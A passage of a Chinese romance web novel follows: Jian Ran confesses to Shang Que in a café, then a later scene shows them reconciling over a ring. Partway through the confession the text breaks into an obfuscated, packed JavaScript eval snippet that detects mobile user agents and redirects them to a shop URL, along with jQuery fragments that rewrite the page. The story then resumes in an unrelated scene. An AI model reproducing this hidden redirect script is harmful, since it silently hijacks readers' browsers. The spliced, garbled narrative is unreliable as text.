四年前，二月的最后一天。
几日前下的雪还没化，道路两边堆积着白茫的一片，层叠的雪山一样，路缘石的树根底下还有不知道哪个小孩随手堆出来的小雪人。小雪人头上顶了片树叶做帽子，帽子底下抠了两个洞，大约是眼睛。
它在路边安静的墩着，无悲无喜，等待下一次冬天来临。
商榷走进咖啡厅。
他一向怕冷，出门都要裹得严严实实，围巾帽子口罩，还有一双加绒手套，全副武装才能出门。
即便裹成这样，简燃也还是在商榷进门的一瞬间看见了他，随即站起身，在卡座前朝商榷招招手。
商榷唯一露出来的眼睛，眼皮上还沾着寒气，他眨了眨冰凉的眼，看见了简燃，迈步走过去。
“哥。”简燃笑着叫了一声。
商榷一边摘口罩，简燃替他拉了一张矮沙发坐下。
商榷看了看他说：“你出来怎么不多穿点？别为了耍帅冻坏了。”
简燃穿了件灰棕色短款加绒外套，翻出来的衣领上还有白色的毛领，里面一件高领毛衣。这样的装扮走在冬天的街道上很好看，但好看肯定扛不住呼呼直吹的冷风。
简燃笑笑，对商榷给予自己的关心十分开心：“路上就一会儿，再说这店里开了空调，冻不着的。”
“那也注意点，是不是快开学了？别感冒了。”商榷穿得太多了，这会儿还在摘围巾。
简燃将他摘下的围巾接到手中，放到桌子边自带的置物架上，边说：“还有三天。”
“最后一个学期了吧？”咖啡厅的温度有些高，商榷拉开长款羽绒服的拉链，摘下手套：“好好准备毕业，专心干你的事，下次再有人说了什么直接告诉辅导员，不要跟他们动手。”
“我知道，”简燃说：“你太小看我的心态了。”
商榷笑了笑，“有考研的打算吗？”
简燃摇摇头：“没有。”
商榷还以为他是担心钱，又确定一遍：“真没有？你做什么决定我都支持你。”
“真没有，”简燃又气又好笑：“你要连考研费用都替我包了吗？那学校里说我被包养的传闻就真的坐实了。”
商榷一噎：“胡说八道的事情怎么能当真，不要让这些影响了你的心情。”
“我知道，但你后来就不陪我去学校了，相比之下我更在意这个。”
简燃说着，眼里流露出几分异样的情绪：“哥，我已经两个月没有见到你了。”
商榷神色自然：“这不是见到了吗？”
“你知道我要说什么。”
“……”商榷一顿，然后慢慢撑着脸偏开头。
沉默间，简燃提前点的两杯卡布奇诺端了上来，穿着考究的服务生微微笑着请二人慢用。
简燃重新调整了表情，咖啡的热气将他眼底浓郁的情绪盖下：“别担心，哥，我今天只是来请你喝咖啡的。”
“……”商榷没端咖啡，只是看着简燃，欲言又止：“那天只是个意外，问题在我，简燃，我不用你……”
“什么意外？”简燃平和地打断了他，微笑在脸上显得十分真诚明媚：“是指我睡了你那件事吗？”
商榷脸色一变，但不是生气：“简燃！”
“商榷。”
商榷很少能听见简燃叫他的名字，一时愣了一下。
简燃笑着把上一个话题揭过了：“这家店的招牌就是卡布奇诺，你真的不想尝一尝吗？”
商榷：“……”
不知道是不是被空调吹的，商榷脸上泛了些热意。
他垂眼错开简燃的视线，端起手边的咖啡，浓郁的奶香甚至盖过了咖啡原本的香气，商榷微微皱眉：奶泡是不是放太多了？
简燃笑着看他喝下一口，绵密的奶泡在他嘴角留下白白一点。
简燃期待地问：“好喝吗？”
“……甜。”商榷抿了抿唇，“你备注加了多少糖？”
“是你成天喝苦咖啡喝惯了，所以才觉得甜。”简燃笑笑，也将自己那杯端起来抿了一口，然后忽然说：“哥，知道卡布奇诺为什么叫卡布奇诺吗？”
商榷点头：“之前有个客户很喜欢咖啡，我有了解过一点，是说咖啡的颜色和圣方济会修士的头巾颜色很像对吗？”
“对，哥真聪明啊。”简燃眼中光芒流转，“圣方济会修士标志性的服饰是褐色道袍，这个形象传到意大利后，当地人用意大利文Cappuccion来命名他们的服饰，音译过来就是卡布奇诺。”
简燃说完，眼中笑意迭起，歪头看向商榷，“而在英文中，Cappuccion的意思是Longingforapassionatelove。”［注］
商榷在最后一个单词落下的同时才反应过来简燃说了什么。他堪堪抬起头，下一秒就撞进了简燃那双明亮又黑白分明的眼里。他眼神专注地盯着商榷，漆黑的瞳孔一动不动。
没来得及打断，简燃已经接着那串英文继续说：
“翻译过来就是，ILOVEYOU。”
“……”
商榷不可否认，在简燃说出那句话时，他的心脏用力跳动了一下。但层层冬衣掩盖，简燃看不见。
简燃说完，从外套口袋里摸出一封信封，信封外形精致，有干花做点缀，封上手写了三个端正大字：商榷，收。
简燃将信封推到商榷手边，一向游刃有余的青年终于露出一点难得的紧张，喉结动了两动，想说什么，没说出口：“……”
商榷没有第一时间接过，他不太擅长应付年轻人，包括汹涌如潮的爱意。
他没接过，简燃却也没有流露出伤心的神色，似乎早在预料之中。他深呼一口气，撤回手后双手握成拳搭在膝盖上，坐姿忽然端正。
商榷隐隐有什么预感，试图阻止：“等等，简……”
“我叫简燃，二十一岁，还有一年大学毕业。身高一米八五，体重七十五公斤，不抽烟不喝酒无不良嗜好。目前在兼职，一个月工资四千五，日常支出只有一个拳击课，已经报了不能取消，宿舍用水用电公摊，每个月除去吃饭能攒下来三千，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753760|190038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我争取每个节日都能给你送一份像样的礼物。”
“我知道你嫌我年纪小，但我喜欢你，很喜欢很喜欢。”
“商榷，给我一个机会吧，我会做的比任何人都好。”
……
“商榷，我以前是不是喜欢你？”
何止喜欢。
简燃发泄似地在商榷唇上咬了一口后却不再有所动作，只是将下巴搁在商榷肩上，微微弓起腰以一个近乎执拗的姿态拢抱住商榷，声音里却惴惴不安：“商榷，不要生我的气。”
商榷：“……”
商榷垂眼浅浅呼出一口气，手在他后脑的头发上轻按两下。简燃的发质细且软，发尾柔顺的垂到商榷肩前，商榷的手压上去揉了两揉，温声说：“我没有生你的气。”
“……”简燃没说话。他环抱住商榷的其中一只手里紧紧攥着戒指盒，盒子的一角抵在手心，硌得生疼。
简燃慢慢再说：“戒指我还给你就是了，不要和我吵架。”
“没有和你吵架。”
“你刚刚就在和我吵架。”
“……我只是声音大了点。”
简燃不知道接没接受这个说法，过了一会儿才慢吞吞地放开商榷，上身微微撤开一点距离，手上将盒子递出去，却没松开手。
他似乎极不甘愿，眉头紧皱着，用一种近乎于希冀的眼神固执地看向商榷，亮晶晶的犬类似的眼神。
商榷的手摊开在他攥紧的拳头下方，等了片刻都没等到简燃将戒指盒松开，他疑惑地抬起头，却见简燃正用四年前坐在咖啡店对面时一样的眼神看他。
这很难不让人心软。
商榷叹了口气——他叹气向来是浅浅的、轻轻的，这一口却是长长的、深深的，带着点妥协的无奈：“真没有生你的气，刚刚是我语气不好，我和你道歉好吗？你还是想做什么就做什么，但不包括随意处理我的东西，还有胡说八道骗我。”
简燃：“……”
简燃紧抿着唇，没说话，却垂下眼，不再看他。
“商榷，我有时候真不知道该不该信你。”他的手将盒子攥紧，指节发白：“我甚至觉得你是不是在耍我。”
“你明知道我没有记忆，没有认识的人，还对我这么好，等我离不开你了，就把我一脚踹开。”
“？”商榷听到后半句才皱起眉，不承认这种指摘：“我什么时候踹你了？”
简燃没说话，抿着唇以一种极委屈的眼神看他。
更像狗了。
商榷揉揉他的狗头：“好吧，只要你提前和我说一声，做什么都随你。”
简燃小心地重新抱住他，蹭着他耳后的头发，“那你能分手吗？和你那个……男朋友。”
商榷欲笑又止：“你不关心他是谁吗？”
“不关心。”简燃立刻说。
“那如果他是……”你呢。
剩下两个字没能说出口，口袋里的闹钟铃打断了他。
商榷摸出手机一看，十四点，午休结束了。
但他们还没吃饭。